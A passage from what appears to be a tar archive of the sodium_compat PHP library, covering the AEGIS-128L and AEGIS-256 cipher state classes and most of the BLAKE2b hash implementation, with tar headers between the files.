     * @return self
     * @throws SodiumException
     *
     * @internal Only for unit tests
     */
    public static function initForUnitTests(array $input)
    {
        if (count($input) < 8) {
            throw new SodiumException('invalid input');
        }
        $state = new self();
        for ($i = 0; $i < 8; ++$i) {
            $state->state[$i] = $input[$i];
        }
        return $state;
    }

    /**
     * @param string $key
     * @param string $nonce
     * @return self
     */
    public static function init($key, $nonce)
    {
        $state = new self();

        // S0 = key ^ nonce
        $state->state[0] = $key ^ $nonce;
        // S1 = C1
        $state->state[1] = SODIUM_COMPAT_AEGIS_C1;
        // S2 = C0
        $state->state[2] = SODIUM_COMPAT_AEGIS_C0;
        // S3 = C1
        $state->state[3] = SODIUM_COMPAT_AEGIS_C1;
        // S4 = key ^ nonce
        $state->state[4] = $key ^ $nonce;
        // S5 = key ^ C0
        $state->state[5] = $key ^ SODIUM_COMPAT_AEGIS_C0;
        // S6 = key ^ C1
        $state->state[6] = $key ^ SODIUM_COMPAT_AEGIS_C1;
        // S7 = key ^ C0
        $state->state[7] = $key ^ SODIUM_COMPAT_AEGIS_C0;

        // Repeat(10, Update(nonce, key))
        for ($i = 0; $i < 10; ++$i) {
            $state->update($nonce, $key);
        }
        return $state;
    }

    /**
     * @param string $ai
     * @return self
     */
    public function absorb($ai)
    {
        if (ParagonIE_Sodium_Core_Util::strlen($ai) !== 32) {
            throw new SodiumException('Input must be two AES blocks in size');
        }
        $t0 = ParagonIE_Sodium_Core_Util::substr($ai, 0, 16);
        $t1 = ParagonIE_Sodium_Core_Util::substr($ai, 16, 16);
        return $this->update($t0, $t1);
    }


    /**
     * @param string $ci
     * @return string
     * @throws SodiumException
     */
    public function dec($ci)
    {
        if (ParagonIE_Sodium_Core_Util::strlen($ci) !== 32) {
            throw new SodiumException('Input must be two AES blocks in size');
        }

        // z0 = S6 ^ S1 ^ (S2 & S3)
        $z0 = $this->state[6]
            ^ $this->state[1]
            ^ ParagonIE_Sodium_Core_Util::andStrings($this->state[2], $this->state[3]);
        // z1 = S2 ^ S5 ^ (S6 & S7)
        $z1 = $this->state[2]
            ^ $this->state[5]
            ^ ParagonIE_Sodium_Core_Util::andStrings($this->state[6], $this->state[7]);

        // t0, t1 = Split(xi, 128)
        $t0 = ParagonIE_Sodium_Core_Util::substr($ci, 0, 16);
        $t1 = ParagonIE_Sodium_Core_Util::substr($ci, 16, 16);

        // out0 = t0 ^ z0
        // out1 = t1 ^ z1
        $out0 = $t0 ^ $z0;
        $out1 = $t1 ^ $z1;

        // Update(out0, out1)
        // xi = out0 || out1
        $this->update($out0, $out1);
        return $out0 . $out1;
    }

    /**
     * @param string $cn
     * @return string
     */
    public function decPartial($cn)
    {
        $len = ParagonIE_Sodium_Core_Util::strlen($cn);

        // z0 = S6 ^ S1 ^ (S2 & S3)
        $z0 = $this->state[6]
            ^ $this->state[1]
            ^ ParagonIE_Sodium_Core_Util::andStrings($this->state[2], $this->state[3]);
        // z1 = S2 ^ S5 ^ (S6 & S7)
        $z1 = $this->state[2]
            ^ $this->state[5]
            ^ ParagonIE_Sodium_Core_Util::andStrings($this->state[6], $this->state[7]);

        // t0, t1 = Split(ZeroPad(cn, 256), 128)
        $cn = str_pad($cn, 32, "\0", STR_PAD_RIGHT);
        $t0 = ParagonIE_Sodium_Core_Util::substr($cn, 0, 16);
        $t1 = ParagonIE_Sodium_Core_Util::substr($cn, 16, 16);
        // out0 = t0 ^ z0
        // out1 = t1 ^ z1
        $out0 = $t0 ^ $z0;
        $out1 = $t1 ^ $z1;

        // xn = Truncate(out0 || out1, |cn|)
        $xn = ParagonIE_Sodium_Core_Util::substr($out0 . $out1, 0, $len);

        // v0, v1 = Split(ZeroPad(xn, 256), 128)
        $padded = str_pad($xn, 32, "\0", STR_PAD_RIGHT);
        $v0 = ParagonIE_Sodium_Core_Util::substr($padded, 0, 16);
        $v1 = ParagonIE_Sodium_Core_Util::substr($padded, 16, 16);
        // Update(v0, v1)
        $this->update($v0, $v1);

        // return xn
        return $xn;
    }

    /**
     * @param string $xi
     * @return string
     * @throws SodiumException
     */
    public function enc($xi)
    {
        if (ParagonIE_Sodium_Core_Util::strlen($xi) !== 32) {
            throw new SodiumException('Input must be two AES blocks in size');
        }

        // z0 = S6 ^ S1 ^ (S2 & S3)
        $z0 = $this->state[6]
            ^ $this->state[1]
            ^ ParagonIE_Sodium_Core_Util::andStrings($this->state[2], $this->state[3]);
        // z1 = S2 ^ S5 ^ (S6 & S7)
        $z1 = $this->state[2]
            ^ $this->state[5]
            ^ ParagonIE_Sodium_Core_Util::andStrings($this->state[6], $this->state[7]);

        // t0, t1 = Split(xi, 128)
        $t0 = ParagonIE_Sodium_Core_Util::substr($xi, 0, 16);
        $t1 = ParagonIE_Sodium_Core_Util::substr($xi, 16, 16);

        // out0 = t0 ^ z0
        // out1 = t1 ^ z1
        $out0 = $t0 ^ $z0;
        $out1 = $t1 ^ $z1;

        // Update(t0, t1)
        // ci = out0 || out1
        $this->update($t0, $t1);

        // return ci
        return $out0 . $out1;
    }

    /**
     * @param int $ad_len_bits
     * @param int $msg_len_bits
     * @return string
     */
    public function finalize($ad_len_bits, $msg_len_bits)
    {
        $encoded = ParagonIE_Sodium_Core_Util::store64_le($ad_len_bits) .
            ParagonIE_Sodium_Core_Util::store64_le($msg_len_bits);
        $t = $this->state[2] ^ $encoded;
        for ($i = 0; $i < 7; ++$i) {
            $this->update($t, $t);
        }
        return ($this->state[0] ^ $this->state[1] ^ $this->state[2] ^ $this->state[3]) .
            ($this->state[4] ^ $this->state[5] ^ $this->state[6] ^ $this->state[7]);
    }

    /**
     * @param string $m0
     * @param string $m1
     * @return self
     */
    public function update($m0, $m1)
    {
        /*
           S'0 = AESRound(S7, S0 ^ M0)
           S'1 = AESRound(S0, S1)
           S'2 = AESRound(S1, S2)
           S'3 = AESRound(S2, S3)
           S'4 = AESRound(S3, S4 ^ M1)
           S'5 = AESRound(S4, S5)
           S'6 = AESRound(S5, S6)
           S'7 = AESRound(S6, S7)
         */
        list($s_0, $s_1) = ParagonIE_Sodium_Core_AES::doubleRound(
            $this->state[7], $this->state[0] ^ $m0,
            $this->state[0], $this->state[1]
        );

        list($s_2, $s_3) = ParagonIE_Sodium_Core_AES::doubleRound(
            $this->state[1], $this->state[2],
            $this->state[2], $this->state[3]
        );

        list($s_4, $s_5) = ParagonIE_Sodium_Core_AES::doubleRound(
            $this->state[3], $this->state[4] ^ $m1,
            $this->state[4], $this->state[5]
        );
        list($s_6, $s_7) = ParagonIE_Sodium_Core_AES::doubleRound(
            $this->state[5], $this->state[6],
            $this->state[6], $this->state[7]
        );

        /*
           S0  = S'0
           S1  = S'1
           S2  = S'2
           S3  = S'3
           S4  = S'4
           S5  = S'5
           S6  = S'6
           S7  = S'7
         */
        $this->state[0] = $s_0;
        $this->state[1] = $s_1;
        $this->state[2] = $s_2;
        $this->state[3] = $s_3;
        $this->state[4] = $s_4;
        $this->state[5] = $s_5;
        $this->state[6] = $s_6;
        $this->state[7] = $s_7;
        return $this;
    }
}Core/AEGIS/State256.php000064400000014575152222652550010334 0ustar00<?php

if (class_exists('ParagonIE_Sodium_Core_AEGIS_State256', false)) {
    return;
}

if (!defined('SODIUM_COMPAT_AEGIS_C0')) {
    define('SODIUM_COMPAT_AEGIS_C0', "\x00\x01\x01\x02\x03\x05\x08\x0d\x15\x22\x37\x59\x90\xe9\x79\x62");
}
if (!defined('SODIUM_COMPAT_AEGIS_C1')) {
    define('SODIUM_COMPAT_AEGIS_C1', "\xdb\x3d\x18\x55\x6d\xc2\x2f\xf1\x20\x11\x31\x42\x73\xb5\x28\xdd");
}

class ParagonIE_Sodium_Core_AEGIS_State256
{
    /** @var array<int, string> $state */
    protected $state;
    public function __construct()
    {
        $this->state = array_fill(0, 6, '');
    }

    /**
     * @internal Only use this for unit tests!
     * @return string[]
     */
    public function getState()
    {
        return array_values($this->state);
    }

    /**
     * @param array $input
     * @return self
     * @throws SodiumException
     *
     * @internal Only for unit tests
     */
    public static function initForUnitTests(array $input)
    {
        if (count($input) < 6) {
            throw new SodiumException('invalid input');
        }
        $state = new self();
        for ($i = 0; $i < 6; ++$i) {
            $state->state[$i] = $input[$i];
        }
        return $state;
    }

    /**
     * @param string $key
     * @param string $nonce
     * @return self
     */
    public static function init($key, $nonce)
    {
        $state = new self();
        $k0 = ParagonIE_Sodium_Core_Util::substr($key, 0, 16);
        $k1 = ParagonIE_Sodium_Core_Util::substr($key, 16, 16);
        $n0 = ParagonIE_Sodium_Core_Util::substr($nonce, 0, 16);
        $n1 = ParagonIE_Sodium_Core_Util::substr($nonce, 16, 16);

        // S0 = k0 ^ n0
        // S1 = k1 ^ n1
        // S2 = C1
        // S3 = C0
        // S4 = k0 ^ C0
        // S5 = k1 ^ C1
        $k0_n0 = $k0 ^ $n0;
        $k1_n1 = $k1 ^ $n1;
        $state->state[0] = $k0_n0;
        $state->state[1] = $k1_n1;
        $state->state[2] = SODIUM_COMPAT_AEGIS_C1;
        $state->state[3] = SODIUM_COMPAT_AEGIS_C0;
        $state->state[4] = $k0 ^ SODIUM_COMPAT_AEGIS_C0;
        $state->state[5] = $k1 ^ SODIUM_COMPAT_AEGIS_C1;

        // Repeat(4,
        //   Update(k0)
        //   Update(k1)
        //   Update(k0 ^ n0)
        //   Update(k1 ^ n1)
        // )
        for ($i = 0; $i < 4; ++$i) {
            $state->update($k0);
            $state->update($k1);
            $state->update($k0 ^ $n0);
            $state->update($k1 ^ $n1);
        }
        return $state;
    }

    /**
     * @param string $ai
     * @return self
     * @throws SodiumException
     */
    public function absorb($ai)
    {
        if (ParagonIE_Sodium_Core_Util::strlen($ai) !== 16) {
            throw new SodiumException('Input must be an AES block in size');
        }
        return $this->update($ai);
    }

    /**
     * @param string $ci
     * @return string
     * @throws SodiumException
     */
    public function dec($ci)
    {
        if (ParagonIE_Sodium_Core_Util::strlen($ci) !== 16) {
            throw new SodiumException('Input must be an AES block in size');
        }
        // z = S1 ^ S4 ^ S5 ^ (S2 & S3)
        $z = $this->state[1]
            ^ $this->state[4]
            ^ $this->state[5]
            ^ ParagonIE_Sodium_Core_Util::andStrings($this->state[2], $this->state[3]);
        $xi = $ci ^ $z;
        $this->update($xi);
        return $xi;
    }

    /**
     * @param string $cn
     * @return string
     */
    public function decPartial($cn)
    {
        $len = ParagonIE_Sodium_Core_Util::strlen($cn);
        // z = S1 ^ S4 ^ S5 ^ (S2 & S3)
        $z = $this->state[1]
            ^ $this->state[4]
            ^ $this->state[5]
            ^ ParagonIE_Sodium_Core_Util::andStrings($this->state[2], $this->state[3]);

        // t = ZeroPad(cn, 128)
        $t = str_pad($cn, 16, "\0", STR_PAD_RIGHT);

        // out = t ^ z
        $out = $t ^ $z;

        // xn = Truncate(out, |cn|)
        $xn = ParagonIE_Sodium_Core_Util::substr($out, 0, $len);

        // v = ZeroPad(xn, 128)
        $v = str_pad($xn, 16, "\0", STR_PAD_RIGHT);
        // Update(v)
        $this->update($v);

        // return xn
        return $xn;
    }

    /**
     * @param string $xi
     * @return string
     * @throws SodiumException
     */
    public function enc($xi)
    {
        if (ParagonIE_Sodium_Core_Util::strlen($xi) !== 16) {
            throw new SodiumException('Input must be an AES block in size');
        }
        // z = S1 ^ S4 ^ S5 ^ (S2 & S3)
        $z = $this->state[1]
            ^ $this->state[4]
            ^ $this->state[5]
            ^ ParagonIE_Sodium_Core_Util::andStrings($this->state[2], $this->state[3]);
        $this->update($xi);
        return $xi ^ $z;
    }

    /**
     * @param int $ad_len_bits
     * @param int $msg_len_bits
     * @return string
     */
    public function finalize($ad_len_bits, $msg_len_bits)
    {
        $encoded = ParagonIE_Sodium_Core_Util::store64_le($ad_len_bits) .
            ParagonIE_Sodium_Core_Util::store64_le($msg_len_bits);
        $t = $this->state[3] ^ $encoded;

        for ($i = 0; $i < 7; ++$i) {
            $this->update($t);
        }

        return ($this->state[0] ^ $this->state[1] ^ $this->state[2]) .
            ($this->state[3] ^ $this->state[4] ^ $this->state[5]);
    }

    /**
     * @param string $m
     * @return self
     */
    public function update($m)
    {
        /*
            S'0 = AESRound(S5, S0 ^ M)
            S'1 = AESRound(S0, S1)
            S'2 = AESRound(S1, S2)
            S'3 = AESRound(S2, S3)
            S'4 = AESRound(S3, S4)
            S'5 = AESRound(S4, S5)
         */
        list($s_0, $s_1) = ParagonIE_Sodium_Core_AES::doubleRound(
            $this->state[5],$this->state[0] ^ $m,
            $this->state[0], $this->state[1]
        );

        list($s_2, $s_3) = ParagonIE_Sodium_Core_AES::doubleRound(
            $this->state[1], $this->state[2],
            $this->state[2], $this->state[3]
        );
        list($s_4, $s_5) = ParagonIE_Sodium_Core_AES::doubleRound(
            $this->state[3], $this->state[4],
            $this->state[4], $this->state[5]
        );

        /*
            S0  = S'0
            S1  = S'1
            S2  = S'2
            S3  = S'3
            S4  = S'4
            S5  = S'5
         */
        $this->state[0] = $s_0;
        $this->state[1] = $s_1;
        $this->state[2] = $s_2;
        $this->state[3] = $s_3;
        $this->state[4] = $s_4;
        $this->state[5] = $s_5;
        return $this;
    }
}
Core/AEGIS/.htaccess000064400000000000152222652550010056 0ustar00Core/BLAKE2b.php000064400000057200152222652550007221 0ustar00<?php

if (class_exists('ParagonIE_Sodium_Core_BLAKE2b', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core_BLAKE2b
 *
 * Based on the work of Devi Mandiri in devi/salt.
 */
abstract class ParagonIE_Sodium_Core_BLAKE2b extends ParagonIE_Sodium_Core_Util
{
    /**
     * @var SplFixedArray
     */
    protected static $iv;

    /**
     * @var array<int, array<int, int>>
     */
    protected static $sigma = array(
        array(  0,  1,  2,  3,  4,  5,  6,  7,  8,  9, 10, 11, 12, 13, 14, 15),
        array( 14, 10,  4,  8,  9, 15, 13,  6,  1, 12,  0,  2, 11,  7,  5,  3),
        array( 11,  8, 12,  0,  5,  2, 15, 13, 10, 14,  3,  6,  7,  1,  9,  4),
        array(  7,  9,  3,  1, 13, 12, 11, 14,  2,  6,  5, 10,  4,  0, 15,  8),
        array(  9,  0,  5,  7,  2,  4, 10, 15, 14,  1, 11, 12,  6,  8,  3, 13),
        array(  2, 12,  6, 10,  0, 11,  8,  3,  4, 13,  7,  5, 15, 14,  1,  9),
        array( 12,  5,  1, 15, 14, 13,  4, 10,  0,  7,  6,  3,  9,  2,  8, 11),
        array( 13, 11,  7, 14, 12,  1,  3,  9,  5,  0, 15,  4,  8,  6,  2, 10),
        array(  6, 15, 14,  9, 11,  3,  0,  8, 12,  2, 13,  7,  1,  4, 10,  5),
        array( 10,  2,  8,  4,  7,  6,  1,  5, 15, 11,  9, 14,  3, 12, 13 , 0),
        array(  0,  1,  2,  3,  4,  5,  6,  7,  8,  9, 10, 11, 12, 13, 14, 15),
        array( 14, 10,  4,  8,  9, 15, 13,  6,  1, 12,  0,  2, 11,  7,  5,  3)
    );

    const BLOCKBYTES = 128;
    const OUTBYTES   = 64;
    const KEYBYTES   = 64;

    /**
     * Turn two 32-bit integers into a fixed array representing a 64-bit integer.
     *
     * @internal You should not use this directly from another application
     *
     * @param int $high
     * @param int $low
     * @return SplFixedArray
     * @psalm-suppress MixedAssignment
     */
    public static function new64($high, $low)
    {
        if (PHP_INT_SIZE === 4) {
            throw new SodiumException("Error, use 32-bit");
        }
        $i64 = new SplFixedArray(2);
        $i64[0] = $high & 0xffffffff;
        $i64[1] = $low & 0xffffffff;
        return $i64;
    }

    /**
     * Convert an arbitrary number into an SplFixedArray of two 32-bit integers
     * that represents a 64-bit integer.
     *
     * @internal You should not use this directly from another application
     *
     * @param int $num
     * @return SplFixedArray
     */
    protected static function to64($num)
    {
        list($hi, $lo) = self::numericTo64BitInteger($num);
        return self::new64($hi, $lo);
    }

    /**
     * Adds two 64-bit integers together, returning their sum as a SplFixedArray
     * containing two 32-bit integers (representing a 64-bit integer).
     *
     * @internal You should not use this directly from another application
     *
     * @param SplFixedArray $x
     * @param SplFixedArray $y
     * @return SplFixedArray
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedAssignment
     * @psalm-suppress MixedOperand
     */
    protected static function add64($x, $y)
    {
        if (PHP_INT_SIZE === 4) {
            throw new SodiumException("Error, use 32-bit");
        }
        $l = ($x[1] + $y[1]) & 0xffffffff;
        return self::new64(
            (int) ($x[0] + $y[0] + (
                ($l < $x[1]) ? 1 : 0
            )),
            (int) $l
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param SplFixedArray $x
     * @param SplFixedArray $y
     * @param SplFixedArray $z
     * @return SplFixedArray
     */
    protected static function add364($x, $y, $z)
    {
        return self::add64($x, self::add64($y, $z));
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param SplFixedArray $x
     * @param SplFixedArray $y
     * @return SplFixedArray
     * @throws SodiumException
     * @throws TypeError
     */
    protected static function xor64(SplFixedArray $x, SplFixedArray $y)
    {
        if (PHP_INT_SIZE === 4) {
            throw new SodiumException("Error, use 32-bit");
        }
        if (!is_numeric($x[0])) {
            throw new SodiumException('x[0] is not an integer');
        }
        if (!is_numeric($x[1])) {
            throw new SodiumException('x[1] is not an integer');
        }
        if (!is_numeric($y[0])) {
            throw new SodiumException('y[0] is not an integer');
        }
        if (!is_numeric($y[1])) {
            throw new SodiumException('y[1] is not an integer');
        }
        return self::new64(
            (int) (($x[0] ^ $y[0]) & 0xffffffff),
            (int) (($x[1] ^ $y[1]) & 0xffffffff)
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param SplFixedArray $x
     * @param int $c
     * @return SplFixedArray
     * @psalm-suppress MixedAssignment
     */
    public static function rotr64($x, $c)
    {
        if (PHP_INT_SIZE === 4) {
            throw new SodiumException("Error, use 32-bit");
        }
        if ($c >= 64) {
            $c %= 64;
        }
        if ($c >= 32) {
            /** @var int $tmp */
            $tmp = $x[0];
            $x[0] = $x[1];
            $x[1] = $tmp;
            $c -= 32;
        }
        if ($c === 0) {
            return $x;
        }

        $l0 = 0;
        $c = 64 - $c;

        /** @var int $c */
        if ($c < 32) {
            $h0 = ((int) ($x[0]) << $c) | (
                (
                    (int) ($x[1]) & ((1 << $c) - 1)
                        <<
                    (32 - $c)
                ) >> (32 - $c)
            );
            $l0 = (int) ($x[1]) << $c;
        } else {
            $h0 = (int) ($x[1]) << ($c - 32);
        }

        $h1 = 0;
        $c1 = 64 - $c;

        if ($c1 < 32) {
            $h1 = (int) ($x[0]) >> $c1;
            $l1 = ((int) ($x[1]) >> $c1) | ((int) ($x[0]) & ((1 << $c1) - 1)) << (32 - $c1);
        } else {
            $l1 = (int) ($x[0]) >> ($c1 - 32);
        }

        return self::new64($h0 | $h1, $l0 | $l1);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param SplFixedArray $x
     * @return int
     * @psalm-suppress MixedOperand
     */
    protected static function flatten64($x)
    {
        return (int) ($x[0] * 4294967296 + $x[1]);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param SplFixedArray $x
     * @param int $i
     * @return SplFixedArray
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedArrayOffset
     */
    protected static function load64(SplFixedArray $x, $i)
    {
        /** @var int $l */
        $l = (int) ($x[$i])
             | ((int) ($x[$i+1]) << 8)
             | ((int) ($x[$i+2]) << 16)
             | ((int) ($x[$i+3]) << 24);
        /** @var int $h */
        $h = (int) ($x[$i+4])
             | ((int) ($x[$i+5]) << 8)
             | ((int) ($x[$i+6]) << 16)
             | ((int) ($x[$i+7]) << 24);
        return self::new64($h, $l);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param SplFixedArray $x
     * @param int $i
     * @param SplFixedArray $u
     * @return void
     * @psalm-suppress MixedAssignment
     */
    protected static function store64(SplFixedArray $x, $i, SplFixedArray $u)
    {
        $maxLength = $x->getSize() - 1;
        for ($j = 0; $j < 8; ++$j) {
            /*
               [0, 1, 2, 3, 4, 5, 6, 7]
                    ... becomes ...
               [0, 0, 0, 0, 1, 1, 1, 1]
            */
            /** @var int $uIdx */
            $uIdx = ((7 - $j) & 4) >> 2;
            $x[$i]   = ((int) ($u[$uIdx]) & 0xff);
            if (++$i > $maxLength) {
                return;
            }
            /** @psalm-suppress MixedOperand */
            $u[$uIdx] >>= 8;
        }
    }

    /**
     * This just sets the $iv static variable.
     *
     * @internal You should not use this directly from another application
     *
     * @return void
     */
    public static function pseudoConstructor()
    {
        static $called = false;
        if ($called) {
            return;
        }
        self::$iv = new SplFixedArray(8);
        self::$iv[0] = self::new64(0x6a09e667, 0xf3bcc908);
        self::$iv[1] = self::new64(0xbb67ae85, 0x84caa73b);
        self::$iv[2] = self::new64(0x3c6ef372, 0xfe94f82b);
        self::$iv[3] = self::new64(0xa54ff53a, 0x5f1d36f1);
        self::$iv[4] = self::new64(0x510e527f, 0xade682d1);
        self::$iv[5] = self::new64(0x9b05688c, 0x2b3e6c1f);
        self::$iv[6] = self::new64(0x1f83d9ab, 0xfb41bd6b);
        self::$iv[7] = self::new64(0x5be0cd19, 0x137e2179);

        $called = true;
    }

    /**
     * Returns a fresh BLAKE2 context.
     *
     * @internal You should not use this directly from another application
     *
     * @return SplFixedArray
     * @psalm-suppress MixedAssignment
     * @psalm-suppress MixedArrayAccess
     * @psalm-suppress MixedArrayAssignment
     */
    protected static function context()
    {
        $ctx    = new SplFixedArray(6);
        $ctx[0] = new SplFixedArray(8);   // h
        $ctx[1] = new SplFixedArray(2);   // t
        $ctx[2] = new SplFixedArray(2);   // f
        $ctx[3] = new SplFixedArray(256); // buf
        $ctx[4] = 0;                      // buflen
        $ctx[5] = 0;                      // last_node (uint8_t)

        for ($i = 8; $i--;) {
            $ctx[0][$i] = self::$iv[$i];
        }
        for ($i = 256; $i--;) {
            $ctx[3][$i] = 0;
        }

        $zero = self::new64(0, 0);
        $ctx[1][0] = $zero;
        $ctx[1][1] = $zero;
        $ctx[2][0] = $zero;
        $ctx[2][1] = $zero;

        return $ctx;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param SplFixedArray $ctx
     * @param SplFixedArray $buf
     * @return void
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedAssignment
     * @psalm-suppress MixedArrayAccess
     * @psalm-suppress MixedArrayAssignment
     * @psalm-suppress MixedArrayOffset
     */
    protected static function compress(SplFixedArray $ctx, SplFixedArray $buf)
    {
        $m = new SplFixedArray(16);
        $v = new SplFixedArray(16);

        for ($i = 16; $i--;) {
            $m[$i] = self::load64($buf, $i << 3);
        }

        for ($i = 8; $i--;) {
            $v[$i] = $ctx[0][$i];
        }

        $v[ 8] = self::$iv[0];
        $v[ 9] = self::$iv[1];
        $v[10] = self::$iv[2];
        $v[11] = self::$iv[3];

        $v[12] = self::xor64($ctx[1][0], self::$iv[4]);
        $v[13] = self::xor64($ctx[1][1], self::$iv[5]);
        $v[14] = self::xor64($ctx[2][0], self::$iv[6]);
        $v[15] = self::xor64($ctx[2][1], self::$iv[7]);

        for ($r = 0; $r < 12; ++$r) {
            $v = self::G($r, 0, 0, 4, 8, 12, $v, $m);
            $v = self::G($r, 1, 1, 5, 9, 13, $v, $m);
            $v = self::G($r, 2, 2, 6, 10, 14, $v, $m);
            $v = self::G($r, 3, 3, 7, 11, 15, $v, $m);
            $v = self::G($r, 4, 0, 5, 10, 15, $v, $m);
            $v = self::G($r, 5, 1, 6, 11, 12, $v, $m);
            $v = self::G($r, 6, 2, 7, 8, 13, $v, $m);
            $v = self::G($r, 7, 3, 4, 9, 14, $v, $m);
        }

        for ($i = 8; $i--;) {
            $ctx[0][$i] = self::xor64(
                $ctx[0][$i], self::xor64($v[$i], $v[$i+8])
            );
        }
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $r
     * @param int $i
     * @param int $a
     * @param int $b
     * @param int $c
     * @param int $d
     * @param SplFixedArray $v
     * @param SplFixedArray $m
     * @return SplFixedArray
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedArrayOffset
     */
    public static function G($r, $i, $a, $b, $c, $d, SplFixedArray $v, SplFixedArray $m)
    {
        $v[$a] = self::add364($v[$a], $v[$b], $m[self::$sigma[$r][$i << 1]]);
        $v[$d] = self::rotr64(self::xor64($v[$d], $v[$a]), 32);
        $v[$c] = self::add64($v[$c], $v[$d]);
        $v[$b] = self::rotr64(self::xor64($v[$b], $v[$c]), 24);
        $v[$a] = self::add364($v[$a], $v[$b], $m[self::$sigma[$r][($i << 1) + 1]]);
        $v[$d] = self::rotr64(self::xor64($v[$d], $v[$a]), 16);
        $v[$c] = self::add64($v[$c], $v[$d]);
        $v[$b] = self::rotr64(self::xor64($v[$b], $v[$c]), 63);
        return $v;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param SplFixedArray $ctx
     * @param int $inc
     * @return void
     * @throws SodiumException
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedArrayAccess
     * @psalm-suppress MixedArrayAssignment
     */
    public static function increment_counter($ctx, $inc)
    {
        if ($inc < 0) {
            throw new SodiumException('Increasing by a negative number makes no sense.');
        }
        $t = self::to64($inc);
        # S->t is $ctx[1] in our implementation

        # S->t[0] = ( uint64_t )( t >> 0 );
        $ctx[1][0] = self::add64($ctx[1][0], $t);

        # S->t[1] += ( S->t[0] < inc );
        if (self::flatten64($ctx[1][0]) < $inc) {
            $ctx[1][1] = self::add64($ctx[1][1], self::to64(1));
        }
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param SplFixedArray $ctx
     * @param SplFixedArray $p
     * @param int $plen
     * @return void
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedAssignment
     * @psalm-suppress MixedArrayAccess
     * @psalm-suppress MixedArrayAssignment
     * @psalm-suppress MixedArrayOffset
     * @psalm-suppress MixedOperand
     */
    public static function update(SplFixedArray $ctx, SplFixedArray $p, $plen)
    {
        self::pseudoConstructor();

        $offset = 0;
        while ($plen > 0) {
            $left = $ctx[4];
            $fill = 256 - $left;

            if ($plen > $fill) {
                # memcpy( S->buf + left, in, fill ); /* Fill buffer */
                for ($i = $fill; $i--;) {
                    $ctx[3][$i + $left] = $p[$i + $offset];
                }

                # S->buflen += fill;
                $ctx[4] += $fill;

                # blake2b_increment_counter( S, BLAKE2B_BLOCKBYTES );
                self::increment_counter($ctx, 128);

                # blake2b_compress( S, S->buf ); /* Compress */
                self::compress($ctx, $ctx[3]);

                # memcpy( S->buf, S->buf + BLAKE2B_BLOCKBYTES, BLAKE2B_BLOCKBYTES ); /* Shift buffer left */
                for ($i = 128; $i--;) {
                    $ctx[3][$i] = $ctx[3][$i + 128];
                }

                # S->buflen -= BLAKE2B_BLOCKBYTES;
                $ctx[4] -= 128;

                # in += fill;
                $offset += $fill;

                # inlen -= fill;
                $plen -= $fill;
            } else {
                for ($i = $plen; $i--;) {
                    $ctx[3][$i + $left] = $p[$i + $offset];
                }
                $ctx[4] += $plen;
                $offset += $plen;
                $plen -= $plen;
            }
        }
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param SplFixedArray $ctx
     * @param SplFixedArray $out
     * @return SplFixedArray
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedAssignment
     * @psalm-suppress MixedArrayAccess
     * @psalm-suppress MixedArrayAssignment
     * @psalm-suppress MixedArrayOffset
     * @psalm-suppress MixedOperand
     */
    public static function finish(SplFixedArray $ctx, SplFixedArray $out)
    {
        self::pseudoConstructor();
        if ($ctx[4] > 128) {
            self::increment_counter($ctx, 128);
            self::compress($ctx, $ctx[3]);
            $ctx[4] -= 128;
            if ($ctx[4] > 128) {
                throw new SodiumException('Failed to assert that buflen <= 128 bytes');
            }
            for ($i = $ctx[4]; $i--;) {
                $ctx[3][$i] = $ctx[3][$i + 128];
            }
        }

        self::increment_counter($ctx, $ctx[4]);
        $ctx[2][0] = self::new64(0xffffffff, 0xffffffff);

        for ($i = 256 - $ctx[4]; $i--;) {
            $ctx[3][$i+$ctx[4]] = 0;
        }

        self::compress($ctx, $ctx[3]);

        $i = (int) (($out->getSize() - 1) / 8);
        for (; $i >= 0; --$i) {
            self::store64($out, $i << 3, $ctx[0][$i]);
        }
        return $out;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param SplFixedArray|null $key
     * @param int $outlen
     * @param SplFixedArray|null $salt
     * @param SplFixedArray|null $personal
     * @return SplFixedArray
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedAssignment
     * @psalm-suppress MixedArrayAccess
     * @psalm-suppress MixedArrayAssignment
     * @psalm-suppress MixedArrayOffset
     */
    public static function init(
        $key = null,
        $outlen = 64,
        $salt = null,
        $personal = null
    ) {
        self::pseudoConstructor();
        $klen = 0;

        if ($key !== null) {
            if (count($key) > 64) {
                throw new SodiumException('Invalid key size');
            }
            $klen = count($key);
        }

        if ($outlen > 64) {
            throw new SodiumException('Invalid output size');
        }

        $ctx = self::context();

        $p = new SplFixedArray(64);
        // Zero our param buffer...
        for ($i = 64; --$i;) {
            $p[$i] = 0;
        }

        $p[0] = $outlen; // digest_length
        $p[1] = $klen;   // key_length
        $p[2] = 1;       // fanout
        $p[3] = 1;       // depth

        if ($salt instanceof SplFixedArray) {
            // salt: [32] through [47]
            for ($i = 0; $i < 16; ++$i) {
                $p[32 + $i] = (int) $salt[$i];
            }
        }
        if ($personal instanceof SplFixedArray) {
            // personal: [48] through [63]
            for ($i = 0; $i < 16; ++$i) {
                $p[48 + $i] = (int) $personal[$i];
            }
        }

        $ctx[0][0] = self::xor64(
            $ctx[0][0],
            self::load64($p, 0)
        );
        if ($salt instanceof SplFixedArray || $personal instanceof SplFixedArray) {
            // We need to do what blake2b_init_param() does:
